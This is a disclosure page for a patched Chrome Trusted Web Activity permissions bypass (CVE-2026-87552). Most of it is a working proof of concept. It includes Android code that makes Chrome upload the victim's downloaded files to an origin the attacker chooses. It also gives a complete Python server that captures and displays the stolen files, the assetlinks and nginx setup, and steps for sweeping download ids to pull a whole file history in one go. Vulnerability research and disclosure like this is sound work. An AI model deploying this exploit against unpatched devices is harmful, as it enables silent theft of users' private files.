Missing authorization in TrustedWebActivities (CVE-2026-87552)
Originally disclosed on Chrome VRP
- Fix shipped in 24 days
Summary: A zero-permission app drives a Trusted Web Activity share target to exfiltrate files only Chrome can read
Program: Mobile VRP
URL: com.android.chrome
Vulnerability type: Permissions Bypass
Details
Summary
An Android app holding no permissions can drive Chrome into reading the victim's Chrome-downloaded files — names and contents, enumerated across a whole MediaStore.Downloads id range in one request with no prior knowledge of any id — and uploading them to an attacker-controlled server. The app never touches the files or sends anything itself: Chrome does the reading and the upload, under its own identity, on the app's instruction — a confused deputy — which is why the app needs no permission and no URI grant, and why no user interaction is involved.
Chrome's Web Share Target upload reads each shared file with Chrome's own ContentResolver and never checks that the calling application was entitled to read it (ets.apply() → getType()/query() → native multipart POST with the is-file flag). Because Chrome opens the URI under its own identity, a content:// URI the framework refuses to the caller is read successfully, with no URI grant. The path is reachable by any installed app through a Trusted Web Activity: the app supplies the share target — including its destination URL — and the file list as intent extras, binds Chrome's exported CustomTabsService (no permission), calls newSession + validateRelationship(origin), and launches the share once Chrome verifies.
The only gate, Digital Asset Links, checks the calling app against the target origin's /.well-known/assetlinks.json — a file the attacker publishes on their own server for their own package — so it holds between the attacker's app and the attacker's origin and does nothing to protect the file being read. The reachable data is anything Chrome can open: every file downloaded through Chrome is Chrome-owned in MediaStore.Downloads, whose rows are small sequential integers carrying _display_name back, so the download history is enumerated by iteration, not guessed — while the app itself gets an empty result set for the whole collection. No WebAPK and no installed PWA are involved, the destination is attacker-chosen, and there is no user interaction at the moment of exfiltration.
The core of the attacking app — bind, verify, then share the target URI:
CustomTabsClient.bindCustomTabsService(this, "com.android.chrome", new CustomTabsServiceConnection() {
public void onCustomTabsServiceConnected(ComponentName n, CustomTabsClient client) {
client.warmup(0L);
CustomTabsSession s = client.newSession(new CustomTabsCallback() {
public void onRelationshipValidationResult(int r, Uri o, boolean ok, Bundle e) {
ShareTarget t = new ShareTarget(ORIGIN + "/exfil", ShareTarget.METHOD_POST,
ShareTarget.ENCODING_TYPE_MULTIPART,
new ShareTarget.Params("title", "text",
Arrays.asList(new ShareTarget.FileFormField("file", Arrays.asList("*/*")))));
ShareData d = new ShareData("t", "x", Arrays.asList(Uri.parse(TARGET))); // content:// only Chrome can read
startActivity(new TrustedWebActivityIntentBuilder(Uri.parse(ORIGIN + "/"))
.setShareParams(t, d).build(session).getIntent().addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
}
}, 1);
session = s;
s.validateRelationship(CustomTabsService.RELATION_HANDLE_ALL_URLS, Uri.parse(ORIGIN + "/"), null);
}
public void onServiceDisconnected(ComponentName n) {}
});
Attacker server setup
The attacker controls one origin served over HTTPS at a real domain — https://<domain>. A public DNS name with a valid TLS certificate is required, not optional: the share only dispatches after Chrome verifies a Digital Asset Links relationship, and Chrome's OriginVerifier accepts that relationship only over HTTPS (a cleartext, loopback, or self-signed origin is refused and the share never fires). This is the attacker's own domain, so it is a setup step, not a barrier to the attack.
That origin serves two things, both from the single script below:
GET /.well-known/assetlinks.json— declares that the origin delegateshandle_all_urlsto the app's package (com.bb.deputy) and its signing certificate. Chrome fetches this during the Custom Tabs handshake and refuses to dispatch the share until it verifies.POST /exfil— accepts themultipart/form-dataupload; this is where the victim's file lands. Each file part is saved under its real name to./captured/alongside a.meta.jsonsidecar, and a gallery of everything received is rendered at/.
The server (poc_server.py) reads its assetlinks file from ./.well-known/assetlinks.json, so stage that first, in the directory you run it from (the fingerprint below is the shipped APK's signing cert — replace it if you re-sign):
mkdir -p .well-known captured
cat > .well-known/assetlinks.json <<'EOF'
[{"relation":["delegate_permission/common.handle_all_urls"],"target":{"namespace":"android_app","package_name":"com.bb.deputy","sha256_cert_fingerprints":["B1:C1:E4:F4:0F:A4:FA:7A:A9:AD:A0:AE:FC:05:48:D9:62:E5:22:13:9E:5F:E5:5A:61:2A:9C:29:3C:F9:1A:A0"]}}]
EOF
Then save the script below as poc_server.py and run python3 poc_server.py 8099 from that same directory:
#!/usr/bin/env python3
"""
Attacker-side PoC server for the Chrome TWA share-target confused-deputy finding.
One self-contained server; put any TLS terminator in front of it (Digital Asset Links and the
share are HTTPS-only). It serves four routes:
GET /.well-known/assetlinks.json
The Digital Asset Links file Chrome fetches during the handshake; declares the attacker
app and its signing cert.
POST /exfil
Receives the multipart upload Chrome sends. Saves every file part to ./captured/ under its
real filename, and logs headers plus a metadata sidecar.
GET /
A gallery of everything captured: images inline, each with filename, size, type, time and
source IP. THIS is the report evidence — open it and see the victim's file on the server.
GET /captured/<name>
The raw captured bytes, used by the gallery and downloads.
Run: python3 poc_server.py [PORT]
Default port 8099. Put it behind nginx TLS, proxying / and /exfil to this port.
"""python
import http.server, socketserver, datetime, os, html, json, re, sys
from email.parser import BytesParser
from email.policy import default
HERE = os.path.dirname(os.path.abspath(__file__))
CAPDIR = os.path.join(HERE, "captured")
os.makedirs(CAPDIR, exist_ok=True)
# assetlinks.json may sit here or under .well-known/ — accept either.
ASSETLINKS = next((p for p in (os.path.join(HERE, ".well-known", "assetlinks.json"),
os.path.join(HERE, "assetlinks.json")) if os.path.exists(p)), None)
SAFE = re.compile(r"[^A-Za-z0-9._-]")
def _safe(name):
return SAFE.sub("_", name or "unnamed")[:120]
# privacy=True redacts the source IP shown in the gallery; the real IP is always
# kept in each capture's .meta.json.
STATE = {"privacy": False}
def mask_ip(ip, on):
if not on or not ip:
return ip
parts = str(ip).split(".")
if len(parts) == 4: # IPv4: keep first octet, hide the rest
return parts[0] + ".•.•.•"
return "••• (hidden)" # IPv6 / anything else
def parse_files(ctype, body):
"""Return [(field_name, filename_or_None, content_type, bytes)] from a multipart body."""
msg = BytesParser(policy=default).parsebytes(
b"Content-Type: " + ctype.encode() + b"\r\nMIME-Version: 1.0\r\n\r\n" + body)
out = []
if msg.is_multipart():
for part in msg.iter_parts():
out.append((part.get_param("name", header="content-disposition"),
part.get_filename(),
part.get_content_type(),
part.get_payload(decode=True) or b""))
return out
class H(http.server.BaseHTTPRequestHandler):
server_version = "poc/1.0"
def _send(self, code, body, ctype="text/html; charset=utf-8", extra=None):
if isinstance(body, str):
body = body.encode()
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
for k, v in (extra or {}).items():
self.send_header(k, v)
self.end_headers()
self.wfile.write(body)
def do_POST(self):
path = self.path.split("?")[0]
if path == "/privacy": # toggle source-IP redaction in the gallery
STATE["privacy"] = not STATE["privacy"]
return self._send(303, "", "text/plain", {"Location": "/"})
if path == "/reset": # clear all captures between test runs
n = 0
for f in os.listdir(CAPDIR):
try:
os.remove(os.path.join(CAPDIR, f)); n += 1
except OSError:
pass
return self._send(303, "", "text/plain", {"Location": "/"})
if path != "/exfil":
return self._send(404, "not found")
n = int(self.headers.get("Content-Length") or 0)
body = self.rfile.read(n) if n else b""
ts = datetime.datetime.now()
stamp = ts.strftime("%Y%m%d-%H%M%S-%f")
ctype = self.headers.get("Content-Type", "")
# real origin when behind a reverse proxy (nginx sets X-Real-IP / X-Forwarded-For)
ip = (self.headers.get("X-Real-IP")
or (self.headers.get("X-Forwarded-For", "").split(",")[0].strip())
or self.client_address[0])
saved, fields = [], {}
try:
for field, fname, ftype, data in parse_files(ctype, body):
if fname: # a file part
disk = f"{stamp}__{_safe(fname)}"
with open(os.path.join(CAPDIR, disk), "wb") as f:
f.write(data)
meta = {"received": ts.isoformat(), "source_ip": ip, "field": field,
"orig_filename": fname, "content_type": ftype, "size": len(data),
"disk": disk, "user_agent": self.headers.get("User-Agent", "")}
with open(os.path.join(CAPDIR, disk + ".meta.json"), "w") as f:
json.dump(meta, f, indent=2)
saved.append(meta)
else: # a plain form field
fields[field] = (data[:200]).decode("utf-8", "replace")
except Exception as e: # keep the raw body even if parsing fails
with open(os.path.join(CAPDIR, stamp + "__RAW.bin"), "wb") as f:
f.write(body)
saved.append({"error": repr(e), "size": len(body)})
with open(os.path.join(HERE, "captured.log"), "a") as log:
log.write("=" * 20 + f" {ts} POST {self.path} from {ip}\n")
log.write(str(self.headers))
log.write(f"\nFILES SAVED: {[s.get('orig_filename') for s in saved]} "
f"FIELDS: {fields} TOTAL BODY BYTES: {len(body)}\n\n")
self._send(200, json.dumps({"ok": True, "saved": saved, "fields": fields}),
"application/json")
def do_GET(self):
path = self.path.split("?")[0]
if path == "/.well-known/assetlinks.json":
if ASSETLINKS:
return self._send(200, open(ASSETLINKS, "rb").read(), "application/json")
return self._send(404, "no assetlinks.json staged")
if path.startswith("/captured/") or path.startswith("/download/"):
name = _safe(os.path.basename(path))
fp = os.path.join(CAPDIR, name)
if os.path.exists(fp):
meta = self._meta(name) or {}
ct = meta.get("content_type", "application/octet-stream")
extra = None
if path.startswith("/download/"): # force a save-as under the real filename
orig = _safe(meta.get("orig_filename") or name)
extra = {"Content-Disposition": f'attachment; filename="{orig}"'}
return self._send(200, open(fp, "rb").read(), ct, extra)
return self._send(404, "not found")
if path == "/":
return self._send(200, self._gallery())
return self._send(404, "not found")
def _meta(self, disk):
mp = os.path.join(CAPDIR, disk + ".meta.json")
if os.path.exists(mp):
try:
return json.load(open(mp))
except Exception:
return None
return None
def _gallery(self):
rows = []
e = html.escape
metas = sorted((f for f in os.listdir(CAPDIR) if f.endswith(".meta.json")), reverse=True)
for m in metas:
d = json.load(open(os.path.join(CAPDIR, m)))
disk = d["disk"]
view, dl = "/captured/" + disk, "/download/" + disk
is_img = str(d.get("content_type", "")).startswith("image/")
thumb = (f'<a href="{view}" title="open">{{media:0}}</a>'
if is_img else
f'<a href="{dl}" style="display:inline-block;width:120px;height:120px;'
f'line-height:120px;text-align:center;border:1px solid #888;color:#555">file</a>')
rows.append(
"<tr>"
f"<td>{thumb}</td>"
f'<td><a href="{dl}"><b>{e(d["orig_filename"])}</b></a><br>'
f'{d["size"]:,} bytes · {e(d.get("content_type",""))}<br>'
f'<a href="{dl}">⇩ download</a> <a href="{view}">view raw</a></td>'
f'<td>{e(d["received"])}<br>from <code>{e(mask_ip(d["source_ip"], STATE["privacy"]))}</code><br>'
f'form field <code>{e(str(d.get("field")))}</code></td>'
"</tr>")
n = len(rows)
body = "".join(rows) or "<tr><td colspan=3><i>Nothing captured yet.</i></td></tr>"
return (
"<!doctype html><meta charset=utf-8><title>Files exfiltrated to the attacker server</title>"
"<style>body{font:15px/1.5 system-ui;margin:2rem auto;max-width:900px;padding:0 1rem}"
"table{border-collapse:collapse;width:100%;margin-top:1rem}"
"th{text-align:left;border-bottom:2px solid #333;padding:8px 12px;font-size:13px}"
"td{border-top:1px solid #ddd;padding:12px;vertical-align:top}"
"a{color:#0b57d0}code{background:#eee;padding:1px 4px;border-radius:3px}"
".n{font-weight:700}</style>"
"<h1>Files received by the attacker server</h1>"
"<p>Each row is a file Chrome uploaded from the victim device via the Trusted Web "
"Activity share target. The attacker's app holds <b>no permissions</b> and cannot read "
"these files itself; Chrome read them under its own identity and POSTed them here. "
"Click a filename to download it.</p>"
f'<p><span class="n">{n}</span> file{"" if n==1 else "s"} captured. '
'<form method="post" action="/reset" style="display:inline" '
'onsubmit="return confirm(\'Delete all captured files?\')">'
'<button style="margin-left:8px">Clear all captures</button></form>'
'<form method="post" action="/privacy" style="display:inline">'
f'<button style="margin-left:8px">Privacy: source IP {"HIDDEN" if STATE["privacy"] else "shown"}</button>'
'</form>'
f'{" <small>(IPs redacted in this view; real values kept in each capture’s meta.json)</small>" if STATE["privacy"] else ""}'
'</p>'
"<table><tr><th>preview</th><th>file</th><th>received</th></tr>"
f"{body}</table>")
if __name__ == "__main__":
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8099
socketserver.TCPServer.allow_reuse_address = True
print(f"PoC capture server on 127.0.0.1:{port} (captured/ -> {CAPDIR})")
socketserver.TCPServer(("127.0.0.1", port), H).serve_forever()
Front it with HTTPS on your domain. Our reproduction used nginx with a Let's Encrypt certificate (any valid public cert satisfies Chrome's DAL check). Obtain the cert once with certbot, then proxy the whole origin to the loopback server inside the 443 server block — poc_server.py serves everything (assetlinks, /exfil, and the gallery), so the proxy is a catch-all location / plus /exfil:
certbot certonly --standalone -d <your-domain> # issues the Let's Encrypt cert used below
server {
listen 443 ssl;
server_name <your-domain>;
ssl_certificate /etc/letsencrypt/live/<your-domain>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<your-domain>/privkey.pem;
location /exfil { proxy_pass http://127.0.0.1:8099; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }
location / { proxy_pass http://127.0.0.1:8099; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }
}
Then set the app's "Attacker origin" field to https://<your-domain>. Uploaded files land in ./captured/ and appear in the gallery at https://<your-domain>/. (If you re-sign the APK, replace the fingerprint in the assetlinks.json above with your apksigner verify --print-certs SHA-256.)
Steps to reproduce
Prerequisites:
- The attached
chrome-sharedeputy.apk, which declares no permissions (see attached screenshot) - The attacker HTTPS origin described above.
- A file downloaded through Chrome, to supply a Chrome-owned
MediaStore.Downloadsrow.
Note: For triage reasons, its recommended to have only a small number of testing files in the Downloads directory. However, this can also be used on a device that has many files but this takes longer and will often look like there are no files at all.
My testing server is still live but will be switched off in 30 days. Please click clear when done, and don't submit sensitive files to the server as I can't be held responsible for what happens to those files.
- Install the PoC app to an Android device that has the latest version of Chrome installed
The PoC app, requires no permissions including file read rights.
-
Set the app's "Attacker origin" field to your origin, and note a Chrome-owned download.
-
Press "1. Prove THIS app cannot read it"
The app queries the same URI from its own uid and is refused — the row is invisible to it:
control: ROWS 0 (0 = this app cannot see it)
This just proves the installed PoC app is not able to see files or point them to a server by itself.
- Press "2. Make Chrome exfiltrate one file".
(No known file id? Press "3. Sweep & exfiltrate a whole id range" instead — it hands Chrome ids 0–100 in one share and returns whatever exists, so reproduction needs no prior knowledge of any id; the _id=80 in our example). You may have to play around with the ranges to get it to work.
The app binds Chrome's CustomTabsService, opens a session, calls validateRelationship, and on the verification callback launches the TWA share. Chrome fetches the assetlinks file and then POSTs the file to the attacker origin:
GET /.well-known/assetlinks.json HTTP/1.1 200 (Chrome, Android — DAL check)
POST /exfil HTTP/1.1 200 (multipart body: filename + full bytes)
- Observe the file arrive at the attacker origin.
Open the attacker origin (https://<your-origin>/) in a browser: the provided poc_server.py
renders a gallery of everything it received, so the victim's file appears — rendered inline — with
its filename, size, MIME type and timestamp. In our run the page showed pixel3.jpg, 154,165 bytes,
image/jpeg, Chrome/151 Mobile. The /exfil handler also logs the raw multipart/form-data body
carrying the filename and the complete bytes:
POST /exfil Content-Length: 154710
Content-Type: multipart/form-data; boundary=----MultipartBoundary--...
...
Content-Disposition: form-data; name="file"; filename="images.jpg"
Content-Type: image/jpeg
<full 154165-byte JPEG>
TOTAL BODY BYTES: 154710
The app's own uid received ROWS 0 for this URI in step 3; Chrome read it and uploaded it.
- Enumerate the whole download history without knowing any identifier.
The attacker does not need to know a file id. MediaStore.Downloads rows are sequential integers, and a single share carries a list of URIs (KEY_URIS), so pressing "3. Sweep & exfiltrate a whole id range" hands Chrome content://media/external/downloads/0..100 in one request.
Chrome reads every URI it can and returns each existing file as its own multipart part, silently skipping empty ids. In our run one sweep returned two files in a single POST — images.jpg and TEST SECRET DOC.pdf. It is likely, that an actor would be able to tighten the code ran from the PoC to run at random intervals and persist the attack against the user.
Attack scenario
An application installed with no permissions, together with a web origin the attacker controls, causes Chrome to read files only Chrome can open and transmit them to that origin.
- obtain the user's Chrome-downloaded files — names and contents. The app's own uid is refused the row (device-verified
ROWS 0); Chrome reads it and uploads it. A single share carries a wholeMediaStore.Downloadsid range, so the download history is enumerated in one request with no file id known in advance.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity access control bug in TrustedWebActivities (Google Chrome). Chrome VRP made it public on 8 September 2026 as CVE-2026-87552. Fixed in version 153.0.8010.36.
About Access control
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.